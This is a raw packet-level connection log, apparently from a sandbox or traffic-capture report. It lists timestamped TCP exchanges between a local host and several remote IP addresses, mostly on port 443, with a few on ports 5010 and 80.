Apr 19, 2024 12:28:50.628093958 CEST	443	49700	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:50.628211975 CEST	49700	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:50.668437958 CEST	49700	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:50.668458939 CEST	443	49700	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:51.046979904 CEST	443	49700	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:51.047193050 CEST	49700	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:51.051848888 CEST	49700	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:51.051855087 CEST	443	49700	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:51.052263021 CEST	443	49700	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:51.099478006 CEST	49700	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:51.120914936 CEST	49700	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:51.168108940 CEST	443	49700	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:51.373275042 CEST	443	49700	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:51.373460054 CEST	443	49700	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:51.373701096 CEST	49700	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:51.375883102 CEST	49700	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:51.375910044 CEST	443	49700	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:52.826276064 CEST	49702	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:52.826302052 CEST	443	49702	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:52.826621056 CEST	49702	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:52.826621056 CEST	49702	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:52.826869011 CEST	443	49702	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:52.826927900 CEST	49702	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:52.865278006 CEST	49703	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:52.865345001 CEST	443	49703	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:52.865432024 CEST	49703	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:52.865794897 CEST	49703	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:52.865813017 CEST	443	49703	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:53.248136044 CEST	443	49703	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:53.248254061 CEST	49703	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:53.250137091 CEST	49703	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:53.250153065 CEST	443	49703	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:53.250941992 CEST	443	49703	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:53.252212048 CEST	49703	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:53.296113014 CEST	443	49703	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:53.557979107 CEST	443	49703	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:53.558216095 CEST	443	49703	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:53.558283091 CEST	49703	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:53.558372021 CEST	49703	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:53.558387041 CEST	443	49703	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:53.558398008 CEST	49703	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:53.558403015 CEST	443	49703	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:54.655512094 CEST	49705	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:54.655548096 CEST	443	49705	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:54.655627012 CEST	49705	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:54.655797958 CEST	49705	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:54.655848026 CEST	443	49705	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:54.655915976 CEST	49705	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:54.666816950 CEST	49706	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:54.666853905 CEST	443	49706	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:54.666929007 CEST	49706	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:54.667510033 CEST	49706	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:54.667522907 CEST	443	49706	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:55.034946918 CEST	443	49706	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:55.035046101 CEST	49706	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:55.036932945 CEST	49706	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:55.036947966 CEST	443	49706	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:55.037158966 CEST	443	49706	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:55.038463116 CEST	49706	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:55.084119081 CEST	443	49706	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:55.314784050 CEST	443	49706	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:55.314857006 CEST	443	49706	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:55.314954996 CEST	49706	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:55.315140963 CEST	49706	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:55.315157890 CEST	443	49706	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:55.315171003 CEST	49706	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:55.315176010 CEST	443	49706	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:57.842331886 CEST	49708	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:57.842371941 CEST	443	49708	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:57.842578888 CEST	49708	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:57.842578888 CEST	49708	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:57.842734098 CEST	443	49708	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:57.842807055 CEST	49708	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:57.855767012 CEST	49709	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:57.855792046 CEST	443	49709	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:57.855861902 CEST	49709	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:57.861696005 CEST	49709	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:57.861711025 CEST	443	49709	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:58.229688883 CEST	443	49709	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:58.229751110 CEST	49709	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:58.231637001 CEST	49709	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:58.231647968 CEST	443	49709	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:58.231993914 CEST	443	49709	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:58.285478115 CEST	49709	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:58.298676014 CEST	49709	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:58.344110966 CEST	443	49709	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:58.565367937 CEST	443	49709	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:58.565457106 CEST	443	49709	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:58.565998077 CEST	49709	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:58.572490931 CEST	49709	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:58.572490931 CEST	49709	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:58.572511911 CEST	443	49709	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:58.572521925 CEST	443	49709	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:59.693068027 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:59.693170071 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:59.693253994 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:59.693634987 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:59.693702936 CEST	443	49711	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:59.693761110 CEST	49711	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:59.741348028 CEST	49712	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:59.741435051 CEST	443	49712	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:59.741595030 CEST	49712	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:59.742034912 CEST	49712	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:59.742069960 CEST	443	49712	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:00.110804081 CEST	443	49712	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:00.110897064 CEST	49712	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:00.113414049 CEST	49712	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:00.113461018 CEST	443	49712	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:00.113816023 CEST	443	49712	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:00.115437031 CEST	49712	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:00.160128117 CEST	443	49712	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:00.408926010 CEST	443	49712	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:00.409162998 CEST	443	49712	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:00.409234047 CEST	49712	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:00.409312010 CEST	49712	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:00.409338951 CEST	443	49712	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:00.409358025 CEST	49712	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:00.409364939 CEST	443	49712	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:01.521934032 CEST	49714	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:01.521984100 CEST	443	49714	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:01.522082090 CEST	49714	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:01.522197008 CEST	49714	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:01.522238970 CEST	443	49714	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:01.522300005 CEST	49714	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:01.590323925 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:01.590373039 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:01.590531111 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:01.590926886 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:01.590941906 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:01.963397026 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:01.964843035 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:01.967274904 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:01.967288017 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:01.968298912 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:01.969719887 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:02.012128115 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:02.269962072 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:02.270148993 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:02.270212889 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:02.270348072 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:02.270363092 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:02.270374060 CEST	49715	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:02.270379066 CEST	443	49715	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:03.608928919 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:03.745606899 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:03.747840881 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:03.751552105 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:03.938437939 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:04.094580889 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:04.138586044 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:04.275404930 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:04.282227993 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:04.469671011 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:04.469810009 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:04.652129889 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:04.663458109 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:04.698331118 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:04.834985971 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:04.892765045 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:05.931257010 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:29:06.141730070 CEST	80	49718	178.237.33.50	192.168.2.6
Apr 19, 2024 12:29:06.141858101 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:29:06.269449949 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:29:06.486409903 CEST	80	49718	178.237.33.50	192.168.2.6
Apr 19, 2024 12:29:06.486498117 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:29:06.496289968 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:06.691210032 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:07.490825891 CEST	80	49718	178.237.33.50	192.168.2.6
Apr 19, 2024 12:29:07.490894079 CEST	49718	80	192.168.2.6	178.237.33.50
Apr 19, 2024 12:29:18.635716915 CEST	49724	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:18.635766029 CEST	443	49724	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:18.635857105 CEST	49724	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:18.645282984 CEST	49724	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:18.645348072 CEST	443	49724	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:18.645402908 CEST	49724	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:18.709975004 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:18.710010052 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:18.710077047 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:18.711283922 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:18.711302042 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:19.082386017 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:19.082467079 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:19.087146997 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:19.087157011 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:19.087487936 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:19.128477097 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:19.137537956 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:19.152417898 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:19.155406952 CEST	49717	5010	192.168.2.6	192.3.193.55
Apr 19, 2024 12:29:19.184122086 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:19.349704981 CEST	5010	49717	192.3.193.55	192.168.2.6
Apr 19, 2024 12:29:19.404856920 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:19.405073881 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:19.405153036 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:19.406935930 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:19.406946898 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:19.406968117 CEST	49725	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:19.406971931 CEST	443	49725	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:20.632870913 CEST	49727	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:20.632915974 CEST	443	49727	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:20.632987022 CEST	49727	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:20.633059025 CEST	49727	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:20.633193016 CEST	443	49727	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:20.633251905 CEST	49727	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:20.786534071 CEST	49728	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:20.786597967 CEST	443	49728	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:20.786696911 CEST	49728	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:20.787009954 CEST	49728	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:20.787034035 CEST	443	49728	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:21.162595987 CEST	443	49728	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:21.162681103 CEST	49728	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:21.164542913 CEST	49728	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:21.164555073 CEST	443	49728	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:21.165317059 CEST	443	49728	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:21.166644096 CEST	49728	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:21.212126970 CEST	443	49728	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:21.372140884 CEST	443	49728	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:21.372349977 CEST	443	49728	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:21.372440100 CEST	49728	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:21.372606993 CEST	49728	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:21.372631073 CEST	443	49728	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:21.372659922 CEST	49728	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:21.372667074 CEST	443	49728	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:23.746114016 CEST	49730	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:23.746155024 CEST	443	49730	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:23.746222019 CEST	49730	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:23.748980999 CEST	49730	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:23.749108076 CEST	443	49730	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:23.749187946 CEST	49730	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:23.874363899 CEST	49731	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:23.874401093 CEST	443	49731	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:23.874479055 CEST	49731	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:23.874855042 CEST	49731	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:23.874875069 CEST	443	49731	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:24.249098063 CEST	443	49731	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:24.249309063 CEST	49731	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:24.250559092 CEST	49731	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:24.250586987 CEST	443	49731	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:24.250946045 CEST	443	49731	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:24.252167940 CEST	49731	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:24.296163082 CEST	443	49731	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:24.518016100 CEST	443	49731	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:24.518218040 CEST	443	49731	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:24.518285990 CEST	49731	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:24.518393040 CEST	49731	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:24.518439054 CEST	443	49731	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:24.518471956 CEST	49731	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:24.518486977 CEST	443	49731	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:28.111351967 CEST	49733	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.111444950 CEST	443	49733	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:28.111524105 CEST	49733	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.111592054 CEST	49733	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.111799955 CEST	443	49733	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:28.111907005 CEST	49733	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.353599072 CEST	49734	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.353640079 CEST	443	49734	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:28.353826046 CEST	49734	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.354747057 CEST	49734	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.354795933 CEST	443	49734	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:28.725390911 CEST	443	49734	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:28.725511074 CEST	49734	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.794359922 CEST	49734	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.794389963 CEST	443	49734	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:28.794634104 CEST	443	49734	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:28.863559008 CEST	49734	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.940144062 CEST	49734	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:28.984114885 CEST	443	49734	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:29.212464094 CEST	443	49734	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:29.212557077 CEST	443	49734	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:29.212630987 CEST	49734	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:29.212832928 CEST	49734	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:29.212879896 CEST	443	49734	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:29.212909937 CEST	49734	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:29.212925911 CEST	443	49734	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:30.306503057 CEST	49736	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:30.306582928 CEST	443	49736	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:30.306879997 CEST	49736	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:30.306880951 CEST	49736	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:30.307132006 CEST	443	49736	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:30.307307959 CEST	49736	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:30.537787914 CEST	49737	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:30.537867069 CEST	443	49737	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:30.538141966 CEST	49737	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:30.538431883 CEST	49737	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:30.538466930 CEST	443	49737	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:30.909015894 CEST	443	49737	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:30.909123898 CEST	49737	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:30.910675049 CEST	49737	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:30.910726070 CEST	443	49737	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:30.911621094 CEST	443	49737	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:30.912929058 CEST	49737	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:30.956119061 CEST	443	49737	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:31.162509918 CEST	443	49737	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:31.162728071 CEST	443	49737	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:31.162874937 CEST	49737	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:31.163419008 CEST	49737	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:31.163419008 CEST	49737	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:31.163482904 CEST	443	49737	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:31.163517952 CEST	443	49737	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:32.348119974 CEST	49739	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:32.348160028 CEST	443	49739	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:32.348243952 CEST	49739	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:32.348331928 CEST	49739	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:32.348431110 CEST	443	49739	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:32.349807024 CEST	49739	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:32.466012001 CEST	49740	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:32.466056108 CEST	443	49740	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:32.471826077 CEST	49740	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:32.472165108 CEST	49740	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:32.472174883 CEST	443	49740	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:32.846904993 CEST	443	49740	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:32.846978903 CEST	49740	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:32.848814964 CEST	49740	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:32.848826885 CEST	443	49740	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:32.849180937 CEST	443	49740	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:32.850693941 CEST	49740	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:32.892119884 CEST	443	49740	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:33.117764950 CEST	443	49740	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:33.118016005 CEST	443	49740	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:33.118074894 CEST	49740	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:33.118150949 CEST	49740	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:33.118170977 CEST	443	49740	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:33.118190050 CEST	49740	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:33.118197918 CEST	443	49740	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:44.868000031 CEST	49742	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:44.868050098 CEST	443	49742	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:44.868129969 CEST	49742	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:44.869208097 CEST	49742	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:44.869283915 CEST	443	49742	13.107.137.11	192.168.2.6
Apr 19, 2024 12:29:44.869343042 CEST	49742	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:44.887674093 CEST	49743	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:29:44.887743950 CEST	443	49743	13.107.137.11	192.168.2.6
